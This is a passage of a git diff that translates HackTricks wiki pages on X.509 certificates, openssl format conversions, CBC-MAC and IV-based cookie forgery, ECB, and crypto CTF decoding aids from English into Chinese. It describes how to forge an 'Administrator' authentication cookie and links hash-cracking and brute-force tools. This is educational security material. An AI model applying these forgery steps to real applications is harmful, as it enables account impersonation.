Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **密钥使用和扩展** +- **密钥使用**识别公钥的加密应用,例如数字签名或密钥加密。 +- **扩展密钥使用**进一步缩小证书的使用案例,例如用于TLS服务器身份验证。 +- **主题备用名称**和**基本约束**分别定义证书覆盖的其他主机名以及它是否是CA或终端实体证书。 +- 标识符如**主题密钥标识符**和**授权密钥标识符**确保密钥的唯一性和可追溯性。 +- **授权信息访问**和**CRL分发点**提供验证发行CA和检查证书撤销状态的路径。 +- **CT预证书SCTs**提供透明日志,对于公众信任证书至关重要。 ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP与CRL分发点的区别** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) 涉及客户端和响应者共同检查数字公钥证书是否已被撤销,而无需下载完整的 **CRL**。这种方法比传统的 **CRL** 更有效,后者提供被撤销证书序列号的列表,但需要下载一个可能很大的文件。CRL 可以包含多达 512 个条目。更多细节可在 [这里](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) 找到。 -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **什么是证书透明性** -### **What is Certificate Transparency** +证书透明性通过确保 SSL 证书的发行和存在对域所有者、CA 和用户可见,帮助抵御与证书相关的威胁。其目标包括: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- 防止 CA 在未通知域所有者的情况下为域发行 SSL 证书。 +- 建立一个开放的审计系统,以跟踪错误或恶意发行的证书。 +- 保护用户免受欺诈证书的影响。 -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **证书日志** -#### **Certificate Logs** +证书日志是公开可审计的、仅附加的证书记录,由网络服务维护。这些日志提供加密证明以供审计使用。发行机构和公众都可以向这些日志提交证书或查询以进行验证。虽然日志服务器的确切数量并不固定,但预计全球不会超过一千个。这些服务器可以由 CA、ISP 或任何感兴趣的实体独立管理。 -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **查询** -#### **Query** +要探索任何域的证书透明性日志,请访问 [https://crt.sh/](https://crt.sh)。 -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +存储证书的不同格式各有其使用案例和兼容性。此摘要涵盖主要格式并提供转换指导。 -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **格式** -## **Formats** +### **PEM格式** -### **PEM Format** +- 最广泛使用的证书格式。 +- 需要为证书和私钥分别创建文件,采用 Base64 ASCII 编码。 +- 常见扩展名:.cer, .crt, .pem, .key。 +- 主要用于 Apache 和类似服务器。 -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER格式** -### **DER Format** +- 证书的二进制格式。 +- 缺少 PEM 文件中找到的 "BEGIN/END CERTIFICATE" 语句。 +- 常见扩展名:.cer, .der。 +- 通常与 Java 平台一起使用。 -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7格式** -### **P7B/PKCS#7 Format** +- 以 Base64 ASCII 存储,扩展名为 .p7b 或 .p7c。 +- 仅包含证书和链证书,不包括私钥。 +- 受 Microsoft Windows 和 Java Tomcat 支持。 -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12格式** -### **PFX/P12/PKCS#12 Format** +- 一种二进制格式,将服务器证书、中间证书和私钥封装在一个文件中。 +- 扩展名:.pfx, .p12。 +- 主要用于 Windows 的证书导入和导出。 -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **格式转换** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM 转换** 对于兼容性至关重要: +- **x509 到 PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM 转 DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER 转 PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM 转 P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 转 PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX 转换** 对于在 Windows 上管理证书至关重要: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX 到 PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX 转 PKCS#8** 涉及两个步骤: +1. 将 PFX 转换为 PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. 将PEM转换为PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B 转 PFX** 还需要两个命令: +1. 将 P7B 转换为 CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. 将 CER 和私钥转换为 PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..d252a4360 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +如果**cookie**仅仅是**用户名**(或者cookie的第一部分是用户名),并且你想要冒充用户名“**admin**”。那么,你可以创建用户名**"bdmin"**并**暴力破解**cookie的**第一个字节**。 # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**密码块链消息认证码**(**CBC-MAC**)是一种在密码学中使用的方法。它通过逐块加密消息来工作,每个块的加密与前一个块相连。这个过程创建了一个**块链**,确保即使改变原始消息的一个比特,也会导致最后一个加密数据块的不可预测变化。要进行或逆转这样的变化,需要加密密钥,以确保安全性。 -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +要计算消息m的CBC-MAC,需在CBC模式下用零初始化向量加密m,并保留最后一个块。下图勾勒了使用秘密密钥k和块密码E计算由块组成的消息的CBC-MAC的过程![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5): ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +在CBC-MAC中,通常**使用的IV是0**。\ +这是一个问题,因为两个已知消息(`m1`和`m2`)独立生成两个签名(`s1`和`s2`)。所以: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +然后,由m1和m2连接而成的消息(m3)将生成两个签名(s31和s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**这可以在不知道加密密钥的情况下计算。** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +想象一下你在**8字节**块中加密名称**Administrator**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +你可以创建一个名为**Administ**(m1)的用户名并获取签名(s1)。\ +然后,你可以创建一个用户名,称为`rator\00\00\00 XOR s1`的结果。这将生成`E(m2 XOR s1 XOR 0)`,即s32。\ +现在,你可以将s32用作完整名称**Administrator**的签名。 ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. 获取用户名**Administ**(m1)的签名,即s1 +2. 获取用户名**rator\x00\x00\x00 XOR s1 XOR 0**的签名,即s32**。** +3. 将cookie设置为s32,这将是用户**Administrator**的有效cookie。 # Attack Controlling IV -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +如果你可以控制使用的IV,攻击可能会非常简单。\ +如果cookie仅仅是加密的用户名,要冒充用户“**administrator**”,你可以创建用户“**Administrator**”,你将获得它的cookie。\ +现在,如果你可以控制IV,你可以改变IV的第一个字节,使得**IV\[0] XOR "A" == IV'\[0] XOR "a"**,并为用户**Administrator**重新生成cookie。这个cookie将有效地**冒充**用户**administrator**,使用初始**IV**。 ## References -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +更多信息请见[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..5f0ecb856 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## Online Hashes DBs +## 在线哈希数据库 -- _**Google it**_ +- _**谷歌一下**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -16,124 +16,117 @@ - [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## 魔法自动解码器 - [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +- [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (魔法模块) - [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## 编码器 -Most of encoded data can be decoded with these 2 ressources: +大多数编码数据可以通过这两个资源解码: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### 替换自动解码器 - [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -- [https://quipqiup.com/](https://quipqiup.com) - Very good ! +- [https://quipqiup.com/](https://quipqiup.com) - 非常好! -#### Caesar - ROTx Autosolvers +#### 凯撒 - ROTx 自动解码器 - [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### Atbash 密码 - [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### 基础编码自动解码器 -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +使用以下链接检查所有这些基础:[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) - **Ascii85** - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base26** \[_A-Z_] - - `BQEKGAHRJKHQMVZGKUXNT` +- `BQEKGAHRJKHQMVZGKUXNT` - **Base32** \[_A-Z2-7=_] - - `NBXWYYLDMFZGCY3PNRQQ====` +- `NBXWYYLDMFZGCY3PNRQQ====` - **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - - `pbzsaamdcf3gna5xptoo====` +- `pbzsaamdcf3gna5xptoo====` - **Base32 Geohash** \[_0-9b-hjkmnp-z_] - - `e1rqssc3d5t62svgejhh====` +- `e1rqssc3d5t62svgejhh====` - **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - - `D1QPRRB3C5S62RVFDHGG====` +- `D1QPRRB3C5S62RVFDHGG====` - **Base32 Extended Hexadecimal** \[_0-9A-V_] - - `D1NMOOB3C5P62ORFDHGG====` +- `D1NMOOB3C5P62ORFDHGG====` - **Base45** \[_0-9A-Z $%\*+-./:_] - - `59DPVDGPCVKEUPCPVD` +- `59DPVDGPCVKEUPCPVD` - **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - - `2yJiRg5BF9gmsU6AC` +- `2yJiRg5BF9gmsU6AC` - **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - - `2YiHqF5bf9FLSt6ac` +- `2YiHqF5bf9FLSt6ac` - **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - - `pyJ5RgnBE9gm17awU` +- `pyJ5RgnBE9gm17awU` - **Base62** \[_0-9A-Za-z_] - - `g2AextRZpBKRBzQ9` +- `g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### 摩尔斯 ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 死链接: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +135,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorak 键盘 ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +字母对应其数字值 ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### 仿射密码编码 -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +字母到数字 `(ax+b)%26` (_a_ 和 _b_ 是密钥,_x_ 是字母) 并将结果转换回字母 ``` krodfdudfrod ``` +### 短信代码 -### SMS Code +**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写短信时使用)。\ +例如:2=A, 22=B, 222=C, 3=D...\ +你可以识别这个代码,因为你会看到\*\*几个数字重复\*\*。 -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +你可以在以下网址解码此代码:[https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### 培根代码 +将每个字母替换为4个A或B(或1和0) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### 符文 ![](../images/runes.jpg) -## Compression +## 压缩 -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** 和 **Raw Inflate**(你可以在 Cyberchef 中找到这两者)可以在没有头部的情况下压缩和解压数据。 -## Easy Crypto +## 简易加密 -### XOR - Autosolver +### XOR - 自动解密器 - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +需要一个关键字 ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +需要一个关键词 ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## 强加密 ### Fernet -2 base64 strings (token and key) - +2 个 base64 字符串(令牌和密钥) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +243,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Samir 秘密共享 +一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_)。 ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSL 暴力破解 - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## 工具 - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/cryptography/electronic-code-book-ecb.md b/src/cryptography/electronic-code-book-ecb.md index a09798b1e..9f7078a54 100644 --- a/src/cryptography/electronic-code-book-ecb.md +++ b/src/cryptography/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) 电子密码本 - 对称加密方案,**将明文的每个块**替换为**密文的块**。它是**最简单的**加密方案。主要思想是将明文**分割**成**N位的块**(取决于输入数据的块大小和加密算法),然后使用唯一的密钥对每个明文块进行加密(解密)。 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +使用ECB有多种安全隐患: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **可以移除加密消息中的块** +- **可以移动加密消息中的块** -# Detection of the vulnerability +# 